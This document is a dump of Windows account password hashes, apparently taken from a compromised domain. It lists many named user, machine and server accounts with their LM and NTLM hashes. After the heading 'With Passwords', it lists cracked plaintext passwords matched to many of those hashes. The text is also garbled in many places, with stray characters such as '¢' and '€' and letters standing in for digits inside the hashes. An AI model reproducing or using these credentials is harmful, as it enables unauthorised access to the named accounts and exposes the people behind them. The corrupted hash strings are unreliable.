R.Zoll:8484:aad3b435b51404eeaad3b435b51404ee:bfeOce4d50823aa7ec4c194c0ca242d1l::
M.Thiel:8485:aad3b435b51404eeaad3b435b51404ee:1acfelde2777adec5d8760d583a76a7b:::
N.Bitterman:8486:aad3b435b51404eeaad3b435b51404ee:ac01c544a0449f7ba1410801a34f8c50:::
V.Teran:8487:aad3b435b51404eeaad3b435b51404ee:965eccf1a420d3c5df7437ba35f1b197:::
M.Pascucci:8488:aad3b435b51404eeaad3b435b51404ee:8d25e0f7dfb607dc489392993ec13be2:::
F.Lu:8489:aad3b435b51404eeaad3b435b51404ee:e37916fbeeedbdc349499471d72d3fad:::
I.Cortright:8490:aad3b435b51404eeaad3b435b51404ee:2e2007f0c153ac1256f44ba0d651082c:::
M.Birdwell:8491:aad3b435b51404eeaad3b435b51404ee:864505323ade5f5efade8ed49eededb3c::
E.Mogan:8492:aad3b435b51404eeaad3b435b51404ee:84e142a5715aa6de61f23d11d50adale::
F.Lietz:8493:aad3b435b51404eeaad3b435b51404ee:2059724a7aacc500c300882363057b92:::

A.Mckendree:8494:aad3b435b51404eeaad3b435b51404ee:a6f5df5ba5f6d4783a21b55efb85e277:::
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R.Sepeda:8495:aad3b435b51404eeaad3b435b51404ee:5742d65522be51ab4ae663fab051573b:::
D.Doolin:8496:aad3b435b51404eeaad3b435b51404ee:745cd9bfabdecd9fdd7211bf4fc6c89b:::
J.Schack:8497:aad3b435b51404eeaad3b435b51404ee:a123d7894b3dc113a3b30d7622a48c6f:::
E.Leclaire:8498:aad3b435b51404eeaad3b435b51404ee:cdf49123f42736bcd90704falc734¢99:::
J.Uribe:8499:aad3b435b51404eeaad3b435b51404ee:e7e1a3e00b67c5e98a67630e3fed 2f8f:::
Y.Lezama:8500:aad3b435b51404eeaad3b435b51404ee:098a15479758d4f3bfeb5de4a8028c9d:::
B.Evert:8501:aad3b435b51404eeaad3b435b51404ee:d7d5d2e527f18a44a7690ec2fdad7d61::
D.Jin:8502:aad3b435b51404eeaad3b435b51404ee:4195¢6125c05593d7481bed2d3ea94ef:::
0.Sandoval:8503:aad3b435b51404eeaad3b435b51404ee:4fc342920aed2d18a6244cbbcb807990:::
Y.Weinstein:8504:aad3b435b51404eeaad3b435b51404ee:18427ca8817493dda836f90861855d7f:::
C.Brice:8505:aad3b435b51404eeaad3b435b51404ee:84a2fabca32albe07d66d2e03b22f0a9:::
H.Shiba:8506:aad3b435b51404eeaad3b435b51404ee:52ae22c¢814b51ef3e70ff312ee838339:::
G.Chica:8507:aad3b435b51404eeaad3b435b51404ee:4a76c7d1ac08a649eff325622cc42ada::
M.Hershberger:8508:aad3b435b51404eeaad3b435b51404ee:2a05b581c767df0604c06949d8c60ff3:::
test:8510:aad3b435b51404eeaad3b435b51404ee:c5a237b7e9d8e708d8436b6148a25fal::
SERVER15:1001:aad3b435b51404eeaad3b435b51404ee:5b4aa8a860b0dae11648a0d1bf1c0815:::
webs$:8511:aad3b435b51404eeaad3b435b51404ee:1dadfffch02780085b145e024f93¢930:::
secured$:8512:aad3b435b51404eeaad3b435b51404ee:e7bc7fe66d393afd0517d7ea0e9e6667:::
lists$:8513:aad3b435b51404eeaad3b435b51404ee:9af17b2c7237b550b708b54f9d40b8al:::
pc565:8514:aad3b435b51404eeaad3b435b51404¢ee:4f355eaad5550fdaecaded16calb02ea:::
rtc55:8515:aad3b435b51404eeaad3b435b51404ee:f9fd69e581463b17abae5ffc60a2a428:::
cn$:8516:aad3b435b51404eeaad3b435b51404ee:f99a805dc0e1a52b597537a35bf84545:::
wwwchat$:8517:aad3b435b51404eeaad3b435b51404ee:5b43dc6031b23170af3e403ebe26351e:::
libS:8518:aad3b435b51404eeaad3b435b51404ee:7d341633c2d9f03f9868d83936b17412:::
pc545:8519:aad3b435b51404eeaad3b435b51404ee:10e68484cd5a756ebe842facac09047e:::
rho$:8520:aad3b435b51404eeaad3b435b51404ee:39309d445a248bc196009eedfac78059:::
cust21$:8521:aad3b435b51404eeaad3b435b51404ee:18cafb825f99a30ce7b727734alecd16::
cust395$:8522:aad3b435b51404eeaad3b435b51404ee:43425fa99705f9e156267c9c0f5cef47:::

ipmonitor$:8523:aad3b435b51404eeaad3b435b51404ee:0cf53cba9583f8d6cffdcf6c276864b3:::
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galerias$:8524:aad3b435b51404eeaad3b435b51404ee:7cd3f768f390193d20fc30102a88665:::

segment-119-
227S$:8525:aad3b435b51404eeaad3b435b51404ee:33e9¢2af25801b2928b025b24a3a1138:::

bS:8526:aad3b435b51404eeaad3b435b51404ee:93e6524fb0368bf63d2d6a3674c210ab:::
pcl19$:8527:aad3b435b51404eeaad3b435b51404ee:d830437fb15a8a8fa3080613eaadbefe:::
correo$:8528:aad3b435b51404eeaad3b435b51404ee:63b4b3fc4a00ecbed8a2ed9d35072a86:::
uranus$:8529:aad3b435b51404eeaad3b435b51404ee:37214569b4edec77af0b8edeb18342c2:::
miami$:8530:aad3b435b51404eeaad3b435b51404ee:€920b255bb70cd9194¢15055f7925155:::
CLIENT15:8532:aad3b435b51404eeaad3b435b51404ee:28e72742632falf371d2885a12e69a95:::
CLIENT2S:8533:aad3b435b51404eeaad3b435b51404ee:49b813d6970c12e83e3a8f927d81eala:::

SERVER2S:8534:aad3b435b51404eeaad3b435b51404ee:88f3ef8807486de8bc265342ebc8f86a:::

With Passwords

ebb4324f92238051780d50bcdbcb8f6d NTLM : Thisisverysecretl7
31d6cfe0d16ae931b73¢c59d7e0c089c0 [Not found]
ab4f1664ad3a8ac47a90d02b3cc4fa37 [Not found]
8516f8dca38b8541bc6f4732¢c3b304f2 [Not found]
ebacebcae92a28625353f369506d0f28 NTLM : follow
20a324ab60b4103c84a8959¢c8b92f166 NTLM : sclerosis
7702b67dce2elaa3293c3ad215f24174 [Not found]
d384eec9dc85d57b38fbe9579¢c10eb76 NTLM : Sadler29
44588920832d0bef2eba83350ba8e2ac NTLM : Lakehurst
a97b23993cfd462a05f09b9f2ec102e3 NTLM : mastermind
5a63fb49c0aab4e75f684858f11f9140 NTLM : Bagley91l
377a31f1c935583a5f4628a01b23b713 NTLM : irritable
231e43a29060527b07a013466063b85d NTLM : Brigham
6eleaef2a0800c172a5189dc4edcl5ee [Not found]
dle2f6ba282896e11cleb309dc45d841 NTLM : astride

baa9db4690d93af73a0b58d492fc179e NTLM : bituminous74
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e884ca454f5d04434b945f83f20fe728 [Not found]
a81658al7de2bec16e28554d225dbb0c NTLM : layout
629655b5832025df0b07d6ad921d05f1 NTLM : Pompeii
467015316e1d303072c9fd1560701a81 NTLM : numismatic
55a0c2e94929029fdd2cf05ea559ab8d NTLM : testicular54
be6e5067d2116ae9fe1c9218cb107890 NTLM : HOxhnpC
242b0e75e96316ed79e80d75a7e2534d NTLM : stimulus98
11b698f17bfdc8ceac7024a9be363649 [Not found]
81767fad6a90de56d993d3c79¢cb33861 [Not found]
e5d9cb8f8b97ea5fe4336e7d048e1d74 NTLM : Frigga78
0c27f87553c702495622d5facb08f28a NTLM : Attica30
82323df6b692f3abe06389da7e49032d NTLM : principal79
Oaadfedad5d5adb2e5defc5815e2a70b NTLM : mandrill26
8b431a6281b31f8ead931c2ebc67a9df NTLM : emboss
286585552ebd9750efe37af5a91f04c9 NTLM : antisemite86
5aeebcclc34f0ccbe28970dd80dal970 NTLM : grovel54
5d861812c015410e68636f9clefc6dcf NTLM : string29
860c7a70bdd73bf2629d8f178b0f2a21 NTLM : stanchion52
d84cade88a37602422f5e09fe9c92667 NTLM : cornstarch
9f542b83314786¢c1d00f8b220ef0bce5 NTLM : delirium
11f75db54704bbc3157748e09fb3f3d0 NTLM : birdie
c9cd1dfe890c7feb395ab993937b6cd4 NTLM : Newsweek
afecbdf313821518a553996¢24fb2801 NTLM : sermon53
6c4b1c694b039a45e0f322c57736ad7e [Not found]
€76d21bc9fd055441dbc89349518feea NTLM : Scandinavia
034b97466d4cd5eb90bfbb8702b0ed0a NTLM : antiquated
226d4dda77a91213e9110f5e0dc02d8d NTLM : spatulall
cd6bdaf7882d37aac00dba7a33f479f8 NTLM : corkscrew28

b89cfea914a2d2a453f867c0a2c7049f NTLM : commiserate4l
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3fc6a1185994566888e7ec7e39551cf4 NTLM : repelled4?
e1d7423bd060d9e7c18eead0d0c29795 NTLM : puckish40
b211d39424e0e36dfb1429b1221ab034 NTLM : monopoly
658ff8f4a8a920a77ea35e8ab6e60ac7e NTLM : forfeitured4
4f78dd7b986b535ad86bddcdbd8a26b7 NTLM : interruptible
€730474cf4e94b417865514c2f9b1bf0 NTLM : exogamy42
783d2f00fa140fb1038cb89b36369ab7 NTLM : servicemanl16
f55452f31afa5fc95bdd9fb875b77c92 NTLM : startup12
bde26192b13266926770284bed4a5a910 NTLM : snakeroot67
921be01beb56236eaeabbf92a120843b NTLM : effaceable
€9913f51e4f8cf281c575ad417536bb8 NTLM : entourage31
d578033ce7ad10e812994aeb35bc9ca8 NTLM : Barney
24382cbb462e35d46269ce9bfcead86d NTLM : phenomenon31
4c00d9c8aalcc9bfd3f9928c6b57ce8b NTLM : RKuYVP
46d7e021a0287cf7ff1948d6290e855a NTLM : 1ju7MpW
c089715b9879bf841017dd9a3e77e7¢8 NTLM : doctrinaire82
7129a52b5976b4fd85b2b260d19b9a0b NTLM : salient47
b70eeb9171f4edc7969651eldbdec144 NTLM : Bunsenl12
9506de792d588c13a65ea24d720717e3 NTLM : gerund70
d689ec956d050e5370feaa3d3bb15115 NTLM : knight91
5272cae31c91b08053555256ch3bed18 NTLM : reciprocityl5
€58479c1899bf760d55791f7bbecb9d5 NTLM : Hillcrest95
e44af59f7c3d7d6994238bfeec6686e4 NTLM : idiotic64
da34124c25033¢352d106f545aad235¢ NTLM : nemesis92
d7b063563d5592b6cbac73ddelcf7b03 NTLM : retard45
¢35d4e7966e40aa68fd710f6d3d7e19b NTLM : jocular
19c4deb6d31ed4ad4b3a6b9619c56706ca NTLM : inject24
290d909cc83df2896a7259c20bfb42a7 NTLM : fossiliferous33

1bad90aff3fd6e9463decaclfd0d2add NTLM : touchy
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73f4669c34bf0deaf600824a3b6e3487 NTLM : Castillo30
0de8e99edd95959a7bfc22d44df5c3bd NTLM : genius
029bdb6bd801ef927dbdeb5e19db84f3 NTLM : wintry39
dfe37b561e0af597fef9509cec3555d6 NTLM : potentiometer32
bfeOce4d50823aa7ec4c194c0ca242d1 NTLM : tedious78
lacfelde2777adec5d8760d583a76a7b NTLM : doubloon45
ac01c544a0449f7bal1410801a34f8c50 NTLM : oncoming65
965eccf1a420d3c5df7437ba35f1b197 NTLM : corsage
8d25e0f7dfb607dc489392993ec13be2 NTLM : derelict
e37916fbeee4b4c349499471d72d3fad NTLM : tipoff55
2e2007f0c153ac1256f44ba0d651082c [Not found]
864505323ade5f5efade8ed49eededb3c NTLM : trefoil
84e142a5715aa6de61f23d11d50adale NTLM : renounce
2059724a7aacc500c300882363057b92 NTLM : phenomenon
a6f5df5ba5f6d4783a21b55efb85e277 NTLM : Toronto
5742d65522be51ab4ae663fab051573b NTLM : Hornblower
745cd9bfab4ecd9fdd7211bf4fc6c89b NTLM : narcissus
a123d7894b3dc113a3b30d7622a48c6f NTLM : inductance20
¢df49123f42736bcd90704falc734c99 NTLM : chloroplast
e7el1a3e00b67c5e98a67630e3fed2f8f NTLM : prostrate5
098a15479758d4f3bfeb5de4a8028c9d [Not found]
d7d5d2e527f18a44a7690ec2fdad7d61 [Not found]
4195¢6125c05593d7481bed2d3ea94ef NTLM : Pompeii25
4fc342920aed2d18a6244cbbcb807990 NTLM : homeowner43
18427ca8817493dda836f90861855d7f NTLM : Seward
84a2fabca32albe07d66d2e03b22f0a9 NTLM : homeomorph
52ae22c814b51ef3e70ff312ee838339 NTLM : freehand
4a76c¢7d1ac08a649eff325622cc42a4a NTLM : confrontation

2a05b581c¢767df0604c06949d8c60ff3 NTLM : Marlene88
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€5a237b7e9d8e708d8436b6148a25fal NTLM : test123
5b4a2a8a860b0dae11648a0d1bf1c0815 [Not found]
1da4fffcb02780085b145e024f93¢930 [Not found]
e7bc7fe66d393afd0517d7ea0e9e6667 [Not found]
9af17b2c¢7237b550b708b54f9d40b8al [Not found]
4f355eaad5550fdaecaded16calb02ea [Not found]
f9fd69e581463b17abae5ffc60a2a428 [Not found]
f99a805dc0el1a52b597537a35bf84545 [Not found]
5b43dc6031b23170af3e403ebe26351e [Not found]
7d341633c2d9f03f9868d83936b174f2 [Not found]
10e68484cd5a756ebe842facac09047e [Not found]
39309d445a248bc196009eedfac78059 [Not found]
18cafb825f99a30ce7b727734alec416 [Not found]
43425fa99705f9e156267c9c0f5cef47 [Not found]
0cf53cba9583f8d6cffdcf6c276864b3 [Not found]
7cd3f768f390193d20fc30102a886f65 [Not found]
33e9c2af25801b2928b025b24a3a1138 [Not found]
93e6524fb0368bf63d2d6a3674c210ab [Not found]
d830437fb15a8a8fa3080613eaadbefe [Not found]
63b4b3fc4a00ecbed8a2ed9d35072a86 [Not found]
37214569b4edec77af0b8edeb18342c2 [Not found]
€920b255bb70cd9194¢15055f7925155 [Not found]
28e72742632falf371d2885a12e69a95 [Not found]
49b813d6970c12e83e3a8f927d81eala [Not found]

88f3ef8807486de8bc265342ebc8f86a [Not found]
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